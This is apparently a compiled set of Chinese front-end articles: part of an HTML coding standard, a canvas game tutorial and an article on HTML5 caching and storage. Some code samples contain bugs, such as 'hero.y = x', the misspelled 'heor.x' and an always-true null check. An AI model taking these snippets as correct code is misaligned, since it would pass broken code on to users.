当前项目的英文名称（若叮当钱包官方无法给出标准翻译，或者拼音即是其名称，则使用拼音全称，或者使用其官方定义的短名称），由纯小写字母 a-z 或者数字 0-9 以及中划线 - 组成的字符串



	
template


模板目录，用于开发使用



	
build


构建目录



	
vendor


所有第三方的文件均存放在 vendor 目录中，在 vendor 中，任何第三方库、样式、脚本等均需要遵守以下规则存放：任何一个第三方库均需要存放在其名称下，在开发过程中，使用 bower 安装。





HTML标准说明


文档类型


任何一个HTML页面，均必须使用下面这个文档类型声明：


<!DOCTYPE html>



在叮当钱包的任何项目的 HTML 界面中，不允许出现该声明之外的任何声明。


合法性验证


合法的使用HTML，并利用w3c的工具（W3C HTML validator）进行检查。


语义性


根据目的合理使用HTML标签，例如 header、footer、nav、section 等标签，跟 div 十分类似，但是在语义上却有天壤之别，比如下面这样：


<article class="entry">
  <header>
    <h1>读《双城记》</h1>
  </header>
  <section class="content">
    <p><strong>《双城记》</strong>（英语：<em>A Tale of Two Cities</em>）是英国作家查尔斯·狄更斯所著的一部以法國大革命为背景所写成的长篇历史小说，情節感人肺腑，是世界文學經典名著之一，故事中將巴黎、倫敦兩個大城市連結起來，围绕着曼奈特医生一家和以德法奇夫妇为首的圣安东尼区展开故事。小说里描写了贵族如何败坏、如何残害百姓，人民心中积压对贵族的刻骨仇恨，导致了不可避免的法国大革命。本书的主要思想是为了爱而自我牺牲，書名中的「雙城」指的是<strong>巴黎與倫敦</strong>。</p>
    <h2>人物介紹</h2>
    <ul>
      <li>曼奈特醫生（Dr. Alexandre Manette），一位老政治犯。</li>
      <li>露西·曼奈特（Lucie Manette），曼奈特醫生的女兒。</li>
      <li>查爾斯·丹尼（Charles Darney），厄弗裡蒙地侯爵的姪子，愛上露西·曼奈特。</li>
      <li>雪尼‧卡頓（Sydney Carton），一位憤世嫉俗的律師，愛上露西·曼奈特。</li>
      <li>德法奇（Ernest Defarge），曼奈特醫生舊日的僕人。</li>
      <li>德法奇夫人（Madame Defarge/Teresa Defarge），一位堅定的女革命者。</li>
      <li>約翰·拔沙（John Barsad），一位間諜。他的真實名字是索羅門（Solomon Pross） ，是波希小姐（Miss Pross）的哥哥。</li>
      <li>波希小姐（Miss Pross），露西的保姆。</li>
      <li>羅傑·錫利（Roger Cly），另一位間諜，約翰·拔沙的夥伴</li>
    </ul>
  </section>
</article><!-- /.entry -->



协议头


建议在指向图片、样式表、JavaScript脚本或者其它媒体文件的URL地址中省略 http: 与 https: 协议部分，除非已知相应文件不能同时兼容这两个协议，比如：


我们不推荐下面这种方式：


<script src="http://www.doraemoney.com/vendor/jquery/2.1.3/jquery.min.js"></script>
<link rel="stylesheet" href="http://assets/css/style.css"/>
<style>
  .example {
    background: #fff url(http://www.doraemoney.com/assets/img/example-background.png) no-repeat center;
  }
</style>



你应该像下面这样写：


<script src="//www.doraemoney.com/vendor/jquery/2.1.3/jquery.min.js"></script>
<link rel="stylesheet" href="//assets/css/style.css"/>
<style>
  .example {
    background: #fff url(//www.doraemoney.com/assets/img/example-background.png) no-repeat center;
  }
</style>



另外的示例，比如通过 <img>标签引入图片，我们同样不推荐这样写：


<img src="http://www.doraemoney.com/assets/img/logo.png" alt="叮当钱包" class="logo"/>



而应该这样写：


<img src="//www.doraemoney.com/assets/img/logo.png" alt="叮当钱包" class="logo"/>



代码缩进


不允许在任何 HTML、CSS 以及 JavaScript 代码中使用 Tab 进行缩进，且所有的缩进只允许使用两个空格 __ ，如下面这样是正确的：


<a class="brand">
  <img src="//www.doraemoney.com/assets/img/logo.png" alt="叮当钱包" />
</a>



而下面这样均为错误的：


<a class="brand">
    <img src="//www.doraemoney.com/assets/img/logo.png" alt="叮当钱包" />
</a>



大小写


所有的代码都应该是小写的，包括元素名称、属性、属性值（除非 text 或者 CDATA 的内容）、选择器、CSS属性以及属性值，如下面这样均是错误的：


<A HREF="http://www.doraemoney.com" TITLE="叮当钱包官方网站首页" CLASS="Brand"/>叮当钱包</A>



正确的写法应该是：


<a href="http://www.doraemoney.com" title="叮当钱包官方网站首页" class="brand">叮当钱包</a>



对于资源文件的命名，我们同样要求全部使用纯小写字母，同时，多个单词间使用中横线分割（-），同时，不允许在命名中出现空格，英文字母必须放在第一个位置， - 不允许出现在名称格式后缀小数点 . 的前面，如下面这样就是正确的命名方法：


logo.png
example-background.png
assets/css/base.css



而下面这些均是错误的：


logo-.png
-logo.png
0logo.png
example background.png
Example-Background.png
ExampleBackground.png
Assets/Css/Base.css



尾随空格


尾随空格是绝对不允许的，容易让 diff 更加复杂，比如下面这样是不允许的：


<h2>什么是叮当钱包？ </h2>
<p>叮当钱包的命名灵感来源于哆啦A梦的四次元口袋，叮当希望自己也可以像这个神奇口袋一样，在小伙伴需要帮助时，伸出温暖援（圆）手，给予大家“无所不能”的帮助。</p>



下面这样才是正确的：


<h2>什么是叮当钱包？</h2>
<p>叮当钱包的命名灵感来源于哆啦A梦的四次元口袋，叮当希望自己也可以像这个神奇口袋一样，在小伙伴需要帮助时，伸出温暖援（圆）手，给予大家“无所不能”的帮助。</p>



注意仔细观察，在 h2 标签中 ？ 号后面有无空格。


编码格式


所有的文件，包括 .html、.css、.js、scss、less 等，必须全部使用 utf-8 编码格式，如下面这样的是正确的：


<head>
  <meta charset="utf-8" />
</head>



代码注释


任何编写代码的人都必须根据需要撰写代码注释，对于团队开发来说，这是非常重要的，比如下方是HTML的注释规范：


<!-- 这是单行注释 -->
<div class="foo"></bar>

<!--
  这是多行注释的标题

  这是多行注释中的一行
-->



 用HTML5开发一个小游戏

作者：JellyBool

来源： 用HTML5开发一个小游戏



                    
先上效果图





开始之前的准备



	game.html

	
js/ 里面创建game.js


	
images/ 里面放三张图片，一张背景图片(background.png)，一张英雄图片(hero.png)，一张怪物的图片(monster.png)



在game.html里面写上以下几行简单的HTML代码：



<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Simple Canvas Game</title>
    </head>
    <body>
        <script src="js/game.js"></script>
    </body>
</html>




我们在game.html引入了game.js文件，没错，剩下的所有工作都是在操作game.js，为其添加游戏的js代码。


创建画布


在game.js 里面，我们首先需要为游戏的舞台创建一张画布(canvas):


var canvas = document.createElement("canvas");
var ctx = canvas.getContext("2d");
canvas.width = 512;
canvas.height = 480;
document.body.appendChild(canvas);




这里通过js来创建了一个元素并设置canvas的宽和高，最后将其添加到<body>标签后。var ctx = canvas.getContext("2d");中的ctx变量是我们后面会用到的，具体的canvas用法查看这里的链接：


https://developer.mozilla.org/en/canvas_tutorial


准备图片


游戏需要加载我们之前存放在images文件夹下面的三张图片：


// Background image
var bgReady = false;
var bgImage = new Image();
bgImage.onload = function () {
    bgReady = true;
};
bgImage.src = "images/background.png";

// Hero image
var heroReady = false;
var heroImage = new Image();
heroImage.onload = function () {
    heroReady = true;
};
heroImage.src = "images/hero.png";

// Monster image
var monsterReady = false;
var monsterImage = new Image();
monsterImage.onload = function () {
    monsterReady = true;
};
monsterImage.src = "images/monster.png";




以上三张图片都是通过创建简单的图片对象来实现加载的，类似bgReady的三个变量用来标识图片是否已经加载完成，如果如果在图片加载未完成情况下进行绘制是会报错的。如果你不太确定new Image()到底是个什么东西，你可以在bgImage.src = "images/background.png";之后使用console.log(bgImage);来查看，你看到的将是类似：


<img src="images/background.png" >




游戏对象


我们需要定义一些对象，以便我们在后面会用到：


var hero = {
    speed: 256 // movement in pixels per second
};
var monster = {};
var monstersCaught = 0;




既然是英雄抓获怪物，我们得要有一个英雄和怪物的对象。而英雄有一个speed属性用来控制他每秒移动多少像素。怪物游戏过程中不会移动，所以暂时不用设置属性。monstersCaught则用来存储怪物被捉住的次数，初始值当然为0了。


处理用户的输入


游戏是给人玩的，那么我们怎么知道用户到底在这个过程中干了什么？按了键盘？点了鼠标？这些都是用户在玩游戏的时候的输入，所以我们一旦捕获到这些输入，我们就可以根据游戏的逻辑对用户的输入进行处理了：


// Handle keyboard controls
var keysDown = {};

addEventListener("keydown", function (e) {
    keysDown[e.keyCode] = true;
}, false);

addEventListener("keyup", function (e) {
    delete keysDown[e.keyCode];
}, false);




这里我们只是监听两个用户的输入：



	keydown

	keyup



然后我们将用户的输入先保存起来，并没有立即响应。为此，我们用keysDown这个对象来保存用户按下的键值(keyCode)，如果按下的键值在这个对象里，那么我们就做相应处理。



  在前端开发中，一般是用户触发了点击事件然后才去执行动画或发起异步请求之类的




开始一轮游戏


游戏在结束的时候，我们需要开始新的一轮游戏，所以在game.js添加reset函数


// Reset the game when the player catches a monster
var reset = function () {
    hero.x = canvas.width / 2;
    hero.y = canvas.height / 2;


    // Throw the monster somewhere on the screen randomly
    monster.x = 32 + (Math.random() * (canvas.width - 64));
    monster.y = 32 + (Math.random() * (canvas.height - 64));

};




reset()函数用于开始新一轮和游戏，在这个方法里我们将英雄放回画布中心同时将怪物放到一个随机的地方。


更新对象


在游戏的过程中，不管是用户在玩（有正确输入的状态）还是游戏结束，我们都是需要及时更新游戏的对象：


var update = function (modifier) {
    if (38 in keysDown) { // Player holding up
        hero.y -= hero.speed * modifier;
    }
    if (40 in keysDown) { // Player holding down
        hero.y += hero.speed * modifier;
    }
    if (37 in keysDown) { // Player holding left
        hero.x -= hero.speed * modifier;
    }
    if (39 in keysDown) { // Player holding right
        hero.x += hero.speed * modifier;
    }

    // Are they touching?
    if (
        hero.x <= (monster.x + 32)
        && monster.x <= (hero.x + 32)
        && hero.y <= (monster.y + 32)
        && monster.y <= (hero.y + 32)
    ) {

        ++monstersCaught;
        reset();
    }


};




update函数负责更新游戏的各个对象，会被规律地重复调用。首先它负责检查用户当前按住的是中方向键，然后将英雄往相应方向移动。


有点费脑力的或许是这个传入的modifier 变量。你可以后面将要实现的main 方法里看到它的来源，但这里还是有必要详细解释一下。它是基于1开始且随时间变化的一个因子。例如1秒过去了，它的值就是1，英雄的速度将会乘以1，也就是每秒移动256像素；如果半秒钟则它的值为0.5，英雄的速度就乘以0.5也就是说这半秒内英雄以正常速度一半的速度移动。理论上说因为这个update函数被调用的非常快且频繁，所以modifier的值会很小，但有了这一因子后，不管我们的代码跑得快慢，都能够保证英雄的移动速度是恒定的。


这里需要说明一下下面的判断怪物和英雄是什么根据：


 if (
        hero.x <= (monster.x + 31)
        && monster.x <= (hero.x + 31)
        && hero.y <= (monster.y + 32)
        && monster.y <= (hero.y + 32)
    )




上面的31,32是由hero和monster图片的大小决定的，我们的hero图片是32x32，monster图片是30x32，所以根据坐标的位于图片中心的法制，就可以得到上面的判断条件。


现在英雄的移动已经是基于用户的输入(按下上，下，左，右键)了，接下来该检查移动过程中所触发的事件了，也就是英雄与怪物相遇。这就是本游戏的胜利点，monstersCaught +1然后重新开始新一轮。


渲染物体


之前写的代码都是在准备前期工作和处理一些游戏的状态等，下面将进入正题：我们需要将所有的东西画出来


// Draw everything
var render = function () {
    if (bgReady) {
        ctx.drawImage(bgImage, 0, 0);
    }

    if (heroReady) {
        ctx.drawImage(heroImage, hero.x, hero.y);
    }

    if (monsterReady) {
        ctx.drawImage(monsterImage, monster.x, monster.y);
    }

    // Score
    ctx.fillStyle = "rgb(250, 250, 250)";
    ctx.font = "24px Helvetica";
    ctx.textAlign = "left";
    ctx.textBaseline = "top";
    ctx.fillText("Goblins caught: " + monstersCaught, 32, 32);
};




这里的ctx就是最前面我们创建的变量。然后利用canvas的drawImage()首先当然是把背景图画出来。然后如法炮制将英雄和怪物也画出来。这个过程中的顺序是有讲究的，因为后画的物体会覆盖之前的物体。


这之后我们改变了一下Canvas的绘图上下文的样式并调用fillText来绘制文字，也就是记分板那一部分。本游戏没有其他复杂的动画效果和打斗场面，绘制部分大功告成


主循环函数


我们实现了将画面画出来以后，我们紧接着需要实现的就是游戏的循环结构，于是将它放在main函数里：


// The main game loop
var main = function () {
    var now = Date.now();

    var delta = now - then;
    //console.log(delta);
    update(delta / 1000);
    render();

    then = now;

    // Request to do this again ASAP
    requestAnimationFrame(main);
};




上面的主函数控制了整个游戏的流程。先是拿到当前的时间用来计算时间差（距离上次主函数被调用时过了多少毫秒）。得到modifier后除以1000(也就是1秒中的毫秒数)再传入update函数。最后调用render 函数并且将本次的时间保存下来。


设置requestAnimationFrame()


在上面的main函数中，我们通过requestAnimationFrame()调用了main函数，所以我们需要声明：


var w = window;
requestAnimationFrame = w.requestAnimationFrame || w.webkitRequestAnimationFrame || w.msRequestAnimationFrame || w.mozRequestAnimationFrame;





这里这么多的||，不为别的，就是考虑到浏览器兼容问题而已。


最后启动游戏


万事具备，只欠东风。到此，所有的游戏代码基本就写完了，我们现在需要做的就是调用相应的函数来启动游戏：



// Let's play this game!
var then = Date.now();
reset();
main();




到这里代码就写完了。先是设置一个初始的时间变量then用于首先运行main函数使用。然后调用 reset 函数来开始新一轮游戏（如果你还记得的话，这个函数的作用是将英雄放到画面中间同时将怪物放到随机的地方以方便英雄去捉它）


用浏览器打开game.html，开始玩游戏吧！


进一步思考


在玩游戏的过程中，你会发现每一次hero捕获到monster，hero就回到了canvas画布的正中间。那么现在需要做的就是，将hero在捕捉到monster的时候让hero就停留在捕获的位置，不再是回到canvas正中间。


这个现象的出现主要是因为在reset函数中将hero.x和hero.y写死了，所以一个最简单的方法就是在reset中传入参数：


var reset = function (x,y) {
    hero.x = x;
    hero.y = x;
};




然后在update调用reset的时候传入捕获时位置的参数：


var update = function (modifier) {

        //...other codes

        ++monstersCaught;
        reset(heor.x,hero.y);

};





最后在开始游戏的时候将hero放在canvas最中间即可：



var then = Date.now();
reset(canvas.width / 2,canvas.height / 2);
main();




大功告成！


Hapyy Hacking


 H5 缓存机制浅析 - 移动端 Web 加载性能优化

作者：腾讯Bugly

来源： H5 缓存机制浅析 - 移动端 Web 加载性能优化



                    
腾讯 Bugly 特约作者：贺辉超



1. H5 缓存机制介绍

H5，即 HTML5，是新一代的 HTML 标准，加入很多新的特性。离线存储（也可称为缓存机制）是其中一个非常重要的特性。H5 引入的离线存储，这意味着 web 应用可进行缓存，并可在没有因特网连接时进行访问。

H5 应用程序缓存为应用带来三个优势：


	离线浏览 用户可在应用离线时使用它们


	速度 已缓存资源加载得更快


	减少服务器负载 浏览器将只从服务器下载更新过或更改过的资源。




根据标准，到目前为止，H5 一共有6种缓存机制，有些是之前已有，有些是 H5 才新加入的。


	浏览器缓存机制


	Dom Storgage（Web Storage）存储机制


	Web SQL Database 存储机制


	Application Cache（AppCache）机制


	Indexed Database （IndexedDB）


	File System API




下面我们首先分析各种缓存机制的原理、用法及特点；然后针对 Anroid 移动端 Web 性能加载优化的需求，看如果利用适当缓存机制来提高 Web 的加载性能。

2. H5 缓存机制原理分析

2.1 浏览器缓存机制

浏览器缓存机制是指通过 HTTP 协议头里的 Cache-Control（或 Expires）和 Last-Modified（或 Etag）等字段来控制文件缓存的机制。这应该是 WEB 中最早的缓存机制了，是在 HTTP 协议中实现的，有点不同于 Dom Storage、AppCache 等缓存机制，但本质上是一样的。可以理解为，一个是协议层实现的，一个是应用层实现的。

Cache-Control 用于控制文件在本地缓存有效时长。最常见的，比如服务器回包：Cache-Control:max-age=600 表示文件在本地应该缓存，且有效时长是600秒（从发出请求算起）。在接下来600秒内，如果有请求这个资源，浏览器不会发出 HTTP 请求，而是直接使用本地缓存的文件。

Last-Modified 是标识文件在服务器上的最新更新时间。下次请求时，如果文件缓存过期，浏览器通过 If-Modified-Since 字段带上这个时间，发送给服务器，由服务器比较时间戳来判断文件是否有修改。如果没有修改，服务器返回304告诉浏览器继续使用缓存；如果有修改，则返回200，同时返回最新的文件。

Cache-Control 通常与 Last-Modified 一起使用。一个用于控制缓存有效时间，一个在缓存失效后，向服务查询是否有更新。

Cache-Control 还有一个同功能的字段：Expires。Expires 的值一个绝对的时间点，如：Expires: Thu, 10 Nov 2015 08:45:11 GMT，表示在这个时间点之前，缓存都是有效的。

Expires 是 HTTP1.0 标准中的字段，Cache-Control 是 HTTP1.1 标准中新加的字段，功能一样，都是控制缓存的有效时间。当这两个字段同时出现时，Cache-Control 是高优化级的。

Etag 也是和 Last-Modified 一样，对文件进行标识的字段。不同的是，Etag 的取值是一个对文件进行标识的特征字串。在向服务器查询文件是否有更新时，浏览器通过 If-None-Match 字段把特征字串发送给服务器，由服务器和文件最新特征字串进行匹配，来判断文件是否有更新。没有更新回包304，有更新回包200。Etag 和 Last-Modified 可根据需求使用一个或两个同时使用。两个同时使用时，只要满足基中一个条件，就认为文件没有更新。

另外有两种特殊的情况：


	手动刷新页面（F5)，浏览器会直接认为缓存已经过期（可能缓存还没有过期），在请求中加上字段：Cache-Control:max-age=0，发包向服务器查询是否有文件是否有更新。


	强制刷新页面（Ctrl+F5)，浏览器会直接忽略本地的缓存（有缓存也会认为本地没有缓存），在请求中加上字段：Cache-Control:no-cache（或 Pragma:no-cache），发包向服务重新拉取文件。




下面是通过 Google Chrome 浏览器（用其他浏览器+抓包工具也可以）自带的开发者工具，对一个资源文件不同情况请求与回包的截图。

首次请求：200



缓存有效期内请求：200(from cache)



缓存过期后请求：304（Not Modified)



一般浏览器会将缓存记录及缓存文件存在本地 Cache 文件夹中。Android 下 App 如果使用 Webview，缓存的文件记录及文件内容会存在当前 app 的 data 目录中。

分析：Cache-Control 和 Last-Modified 一般用在 Web 的静态资源文件上，如 JS、CSS 和一些图像文件。通过设置资源文件缓存属性，对提高资源文件加载速度，节省流量很有意义，特别是移动网络环境。但问题是：缓存有效时长该如何设置？如果设置太短，就起不到缓存的使用；如果设置的太长，在资源文件有更新时，浏览器如果有缓存，则不能及时取到最新的文件。 

Last-Modified 需要向服务器发起查询请求，才能知道资源文件有没有更新。虽然服务器可能返回304告诉没有更新，但也还有一个请求的过程。对于移动网络，这个请求可能是比较耗时的。有一种说法叫“消灭304”，指的就是优化掉304的请求。

抓包发现，带 if-Modified-Since 字段的请求，如果服务器回包304，回包带有 Cache-Control:max-age 或 Expires 字段，文件的缓存有效时间会更新，就是文件的缓存会重新有效。304回包后如果再请求，则又直接使用缓存文件了，不再向服务器查询文件是否更新了，除非新的缓存时间再次过期。

另外，Cache-Control 与 Last-Modified 是浏览器内核的机制，一般都是标准的实现，不能更改或设置。以 QQ 浏览器的 X5为例，Cache-Control 与 Last-Modified 缓存不能禁用。缓存容量是12MB，不分HOST，过期的缓存会最先被清除。如果都没过期，应该优先清最早的缓存或最快到期的或文件大小最大的；过期缓存也有可能还是有效的，清除缓存会导致资源文件的重新拉取。

还有，浏览器，如 X5，在使用缓存文件时，是没有对缓存文件内容进行校验的，这样缓存文件内容被修改的可能。

分析发现，浏览器的缓存机制还不是非常完美的缓存机制。完美的缓存机制应该是这样的：


	缓存文件没更新，尽可能使用缓存，不用和服务器交互；


	缓存文件有更新时，第一时间能使用到新的文件；


	缓存的文件要保持完整性，不使用被修改过的缓存文件；


	缓存的容量大小要能设置或控制，缓存文件不能因为存储空间限制或过期被清除。
以X5为例，第1、2条不能同时满足，第3、4条都不能满足。




在实际应用中，为了解决 Cache-Control 缓存时长不好设置的问题，以及为了”消灭304“，Web前端采用的方式是：


	在要缓存的资源文件名中加上版本号或文件 MD5值字串，如 common.d5d02a02.js，common.v1.js，同时设置 Cache-Control:max-age=31536000，也就是一年。在一年时间内，资源文件如果本地有缓存，就会使用缓存；也就不会有304的回包。


	如果资源文件有修改，则更新文件内容，同时修改资源文件名，如 common.v2.js，html页面也会引用新的资源文件名。




通过这种方式，实现了：缓存文件没有更新，则使用缓存；缓存文件有更新，则第一时间使用最新文件的目的。即上面说的第1、2条。第3、4条由于浏览器内部机制，目前还无法满足。

2.2 Dom Storage 存储机制

DOM 存储是一套在 Web Applications 1.0 规范中首次引入的与存储相关的特性的总称，现在已经分离出来，单独发展成为独立的 W3C Web 存储规范。 DOM 存储被设计为用来提供一个更大存储量、更安全、更便捷的存储方法，从而可以代替掉将一些不需要让服务器知道的信息存储到 cookies 里的这种传统方法。

上面一段是对 Dom Storage 存储机制的官方表述。看起来，Dom Storage 机制类似 Cookies，但有一些优势。 

Dom Storage 是通过存储字符串的 Key/Value 对来提供的，并提供 5MB （不同浏览器可能不同，分 HOST)的存储空间（Cookies 才 4KB)。另外 Dom Storage 存储的数据在本地，不像 Cookies，每次请求一次页面，Cookies 都会发送给服务器。

DOM Storage 分为 sessionStorage 和 localStorage。localStorage 对象和 sessionStorage 对象使用方法基本相同，它们的区别在于作用的范围不同。sessionStorage 用来存储与页面相关的数据，它在页面关闭后无法使用。而 localStorage 则持久存在，在页面关闭后也可以使用。

Dom Storage 提供了以下的存储接口：

interface Storage { 
readonly attribute unsigned long length; 
[IndexGetter] DOMString key(in unsigned long index); 
[NameGetter] DOMString getItem(in DOMString key); 
[NameSetter] void setItem(in DOMString key, in DOMString data); 
[NameDeleter] void removeItem(in DOMString key); 
void clear();
};


sessionStorage 是个全局对象，它维护着在页面会话(page session)期间有效的存储空间。只要浏览器开着，页面会话周期就会一直持续。当页面重新载入(reload)或者被恢复(restores)时，页面会话也是一直存在的。每在新标签或者新窗口中打开一个新页面，都会初始化一个新的会话。

<script type="text/javascript">
 // 当页面刷新时，从sessionStorage恢复之前输入的内容
 window.onload = function(){
    if (window.sessionStorage) {
        var name = window.sessionStorage.getItem("name");
        if (name != "" || name != null){
            document.getElementById("name").value = name;
         }
     }
 };

 // 将数据保存到sessionStorage对象中
 function saveToStorage() {
    if (window.sessionStorage) {
        var name = document.getElementById("name").value;
        window.sessionStorage.setItem("name", name);
        window.location.href="session_storage.html";
     }
 }
 </script>

<form action="./session_storage.html">
    <input type="text" name="name" id="name"/>
    <input type="button" value="Save" onclick="saveToStorage()"/>
</form>


当浏览器被意外刷新的时候，一些临时数据应当被保存和恢复。sessionStorage 对象在处理这种情况的时候是最有用的。比如恢复我们在表单中已经填写的数据。

把上面的代码复制到 session_storage.html（也可以从附件中直接下载）页面中，用 Google Chrome 浏览器的不同 PAGE 或 WINDOW 打开，在输入框中分别输入不同的文字，再点击“Save”，然后分别刷新。每个 PAGE 或 WINDOW 显示都是当前PAGE输入的内容，互不影响。关闭 PAGE，再重新打开，上一次输入保存的内容已经没有了。





Local Storage 的接口、用法与 Session Storage 一样，唯一不同的是：Local Storage 保存的数据是持久性的。当前 PAGE 关闭（Page Session 结束后），保存的数据依然存在。重新打开PAGE，上次保存的数据可以获取到。另外，Local Storage 是全局性的，同时打开两个 PAGE 会共享一份存数据，在一个PAGE中修改数据，另一个 PAGE 中是可以感知到的。

<script>
  //通过localStorage直接引用key, 另一种写法，等价于：
  //localStorage.getItem("pageLoadCount");
  //localStorage.setItem("pageLoadCount", value);
  if (!localStorage.pageLoadCount)
localStorage.pageLoadCount = 0;
     localStorage.pageLoadCount = parseInt(localStorage.pageLoadCount) + 1;
     document.getElementById('count').textContent = localStorage.pageLoadCount;
</script>

<p>
    You have viewed this page
    <span id="count">an untold number of</span>
    time(s).
</p> 


将上面代码复制到 local_storage.html 的页面中，用浏览器打开，pageLoadCount 的值是1；关闭 PAGE 重新打开，pageLoadCount 的值是2。这是因为第一次的值已经保存了。





用两个 PAGE 同时打开 local_storage.html，并分别交替刷新，发现两个 PAGE 是共享一个 pageLoadCount 的。





分析：Dom Storage 给 Web 提供了一种更录活的数据存储方式，存储空间更大（相对 Cookies)，用法也比较简单，方便存储服务器或本地的一些临时数据。

从 DomStorage 提供的接口来看，DomStorage 适合存储比较简单的数据，如果要存储结构化的数据，可能要借助 JASON了，将要存储的对象转为 JASON 字串。不太适合存储比较复杂或存储空间要求比较大的数据，也不适合存储静态的文件等。

在 Android 内嵌 Webview 中，需要通过 Webview 设置接口启用 Dom Storage。

WebView myWebView = (WebView) findViewById(R.id.webview);
WebSettings webSettings = myWebView.getSettings();
webSettings.setDomStorageEnabled(true);


拿 Android 类比的话，Web 的 Dom Storage 机制类似于 Android 的 SharedPreference 机制。

2.3 Web SQL Database存储机制

H5 也提供基于 SQL 的数据库存储机制，用于存储适合数据库的结构化数据。根据官方的标准文档，Web SQL Database 存储机制不再推荐使用，将来也不再维护，而是推荐使用 AppCache 和 IndexedDB。

现在主流的浏览器（点击查看浏览器支持情况）都还是支持 Web SQL Database 存储机制的。Web SQL Database 存储机制提供了一组 API 供 Web App 创建、存储、查询数据库。

下面通过简单的例子，演示下 Web SQL Database 的使用。

<script>
    if(window.openDatabase){
      //打开数据库，如果没有则创建
      var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024);

       //通过事务，创建一个表，并添加两条记录
      db.transaction(function (tx) {
           tx.executeSql('CREATE TABLE IF NOT EXISTS LOGS (id unique, log)');
           tx.executeSql('INSERT INTO LOGS (id, log) VALUES (1, "foobar")');
           tx.executeSql('INSERT INTO LOGS (id, log) VALUES (2, "logmsg")');
       });

      //查询表中所有记录，并展示出来
     db.transaction(function (tx) {
         tx.executeSql('SELECT * FROM LOGS', [], function (tx, results) {
             var len = results.rows.length, i;
             msg = "<p>Found rows: " + len + "</p>";
             for(i=0; i<len; i++){
                 msg += "<p>" + results.rows.item(i).log + "</p>";
             }
             document.querySelector('#status').innerHTML =  msg;
             }, null);
      });
}

</script>

<div id="status" name="status">Status Message</div>


将上面代码复制到 sql_database.html 中，用浏览器打开，可看到下面的内容。



官方建议浏览器在实现时，对每个 HOST 的数据库存储空间作一定限制，建议默认是 5MB（分 HOST）的配额；达到上限后，可以申请更多存储空间。另外，现在主流浏览器 SQL Database 的实现都是基于 SQLite。

分析：SQL Database 的主要优势在于能够存储结构复杂的数据，能充分利用数据库的优势，可方便对数据进行增加、删除、修改、查询。由于 SQL 语法的复杂性，使用起来麻烦一些。SQL Database 也不太适合做静态文件的缓存。

在 Android 内嵌 Webview 中，需要通过 Webview 设置接口启用 SQL Database，同时还要设置数据库文件的存储路径。

WebView myWebView = (WebView) findViewById(R.id.webview);
WebSettings webSettings = myWebView.getSettings();
webSettings.setDatabaseEnabled(true);
final String dbPath = getApplicationContext().getDir("db", Context.MODE_PRIVATE).getPath();
webSettings.setDatabasePath(dbPath); 


Android 系统也使用了大量的数据库用来存储数据，比如联系人、短消息等；数据库的格式也 SQLite。Android 也提供了 API 来操作 SQLite。Web SQL Database 存储机制就是通过提供一组 API，借助浏览器的实现，将这种 Native 的功能提供给了 Web App。

2.4 Application Cache 机制

Application Cache（简称 AppCache)似乎是为支持 Web App 离线使用而开发的缓存机制。它的缓存机制类似于浏览器的缓存（Cache-Control  和 Last-Modified）机制，都是以文件为单位进行缓存，且文件有一定更新机制。但 AppCache 是对浏览器缓存机制的补充，不是替代。

先拿 W3C 官方的一个例子，说下 AppCache 机制的用法与功能。

<!DOCTYPE html>
<html manifest="demo_html.appcache">
<body>

<script src="demo_time.js"></script>

<p id="timePara"><button onclick="getDateTime()">Get Date and Time</button></p>
<p><img src="img_logo.gif" width="336" height="69"></p>
<p>Try opening <a href="tryhtml5_html_manifest.htm" target="_blank">this page</a>, then go offline, and reload the page. The script and the image should still work.</p>

</body>
</html>


上面 HTML 文档，引用外部一个 JS 文件和一个 GIF 图片文件，在其 HTML 头中通过 manifest 属性引用了一个 appcache 结尾的文件。

我们在 Google Chrome 浏览器中打开这个 HTML 链接，JS 功能正常，图片也显示正常。禁用网络，关闭浏览器重新打开这个链接，发现 JS 工作正常，图片也显示正常。当然也有可能是浏览缓存起的作用，我们可以在文件的浏览器缓存过期后，禁用网络再试，发现 HTML 页面也是正常的。

通过 Google Chrome 浏览器自带的工具，我们可以查看已经缓存的 AppCache（分 HOST)。



上面截图中的缓存，就是我们刚才打开 HTML 的页面 AppCache。从截图中看，HTML 页面及 HTML 引用的 JS、GIF 图像文件都被缓存了；另外 HTML 头中 manifest 属性引用的 appcache 文件也缓存了。

AppCache 的原理有两个关键点：manifest 属性和 manifest 文件。

HTML 在头中通过 manifest 属性引用 manifest 文件。manifest 文件，就是上面以 appcache 结尾的文件，是一个普通文件文件，列出了需要缓存的文件。



上面截图中的 manifest 文件，就 HTML 代码引用的 manifest 文件。文件比较简单，第一行是关键字，第二、三行就是要缓存的文件路径（相对路径）。这只是最简单的 manifest 文件，完整的还包括其他关键字与内容。引用 manifest 文件的 HTML 和 manifest 文件中列出的要缓存的文件最终都会被浏览器缓存。

完整的 manifest 文件，包括三个 Section，类型 Windows 中 ini 配置文件的 Section，不过不要中括号。


	CACHE MANIFEST - Files listed under this header will be cached after they are downloaded for the first time


	NETWORK - Files listed under this header require a connection to the server, and will never be cached


	FALLBACK - Files listed under this header specifies fallback pages if a page is inaccessible




完整的 manifest 文件，如：

CACHE MANIFEST
# 2012-02-21 v1.0.0
/theme.css
/logo.gif
/main.js

NETWORK:
login.asp

FALLBACK:
/html/ /offline.html 


总的来说，浏览器在首次加载 HTML 文件时，会解析 manifest 属性，并读取 manifest 文件，获取 Section：CACHE MANIFEST 下要缓存的文件列表，再对文件缓存。

AppCache 的缓存文件，与浏览器的缓存文件分开存储的，还是一份？应该是分开的。因为 AppCache 在本地也有 5MB（分 HOST）的空间限制。

AppCache 在首次加载生成后，也有更新机制。被缓存的文件如果要更新，需要更新 manifest 文件。因为浏览器在下次加载时，除了会默认使用缓存外，还会在后台检查 manifest 文件有没有修改（byte by byte)。发现有修改，就会重新获取 manifest 文件，对 Section：CACHE MANIFEST 下文件列表检查更新。manifest 文件与缓存文件的检查更新也遵守浏览器缓存机制。

如用用户手动清了 AppCache 缓存，下次加载时，浏览器会重新生成缓存，也可算是一种缓存的更新。另外， Web App 也可用代码实现缓存更新。

分析：AppCache 看起来是一种比较好的缓存方法，除了缓存静态资源文件外，也适合构建 Web 离线 App。在实际使用中有些需要注意的地方，有一些可以说是”坑“。


	要更新缓存的文件，需要更新包含它的 manifest 文件，那怕只加一个空格。常用的方法，是修改 manifest 文件注释中的版本号。如：# 2012-02-21 v1.0.0


	被缓存的文件，浏览器是先使用，再通过检查 manifest 文件是否有更新来更新缓存文件。这样缓存文件可能用的不是最新的版本。


